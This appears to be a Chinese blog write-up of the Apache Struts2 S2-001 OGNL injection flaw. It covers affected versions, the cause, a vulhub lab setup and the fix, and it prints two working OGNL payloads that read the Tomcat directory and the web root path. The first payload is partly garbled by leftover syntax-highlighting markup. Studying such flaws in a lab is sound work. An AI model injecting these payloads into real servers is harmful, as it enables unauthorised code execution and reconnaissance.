漏洞信息:
漏洞信息页面:
https://cwiki.apache.org/confluence/display/WW/S2-001
漏洞成因官方概述:
Remote code exploit on form validation error
漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
环境搭建:
用vulhub靶场进行搭建,非常方便
我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。
原理:
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}
对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
利用过程:
进入靶场
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:
class="token operator">%class="token punctuation">{class="token string">"tomcatBinDir{"class="token operator"> class="token annotation punctuation">@javaclass="token punctuation">.langclass="token punctuation">.Systemclass="token annotation punctuation">@getPropertyclass="token punctuation">(class="token string">"user.dir"class="token punctuation">)class="token operator"> class="token string">"}"class="token punctuation">}
获取Web路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
总结:
最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理
值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。
也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。
推荐文章++++
![009e89a3766364ae011ea6c2ef70f6c9.png](https://i-blog.csdnimg.cn/blog_migrate/b9f7d52d7f2278fef194a9382357f811.jpeg)
*Struts2-Scan 一款全漏洞扫描利用工具
*Python编写的开源Struts2全版本漏洞检测工具
*Struts2 再爆高危漏洞S2-048 来了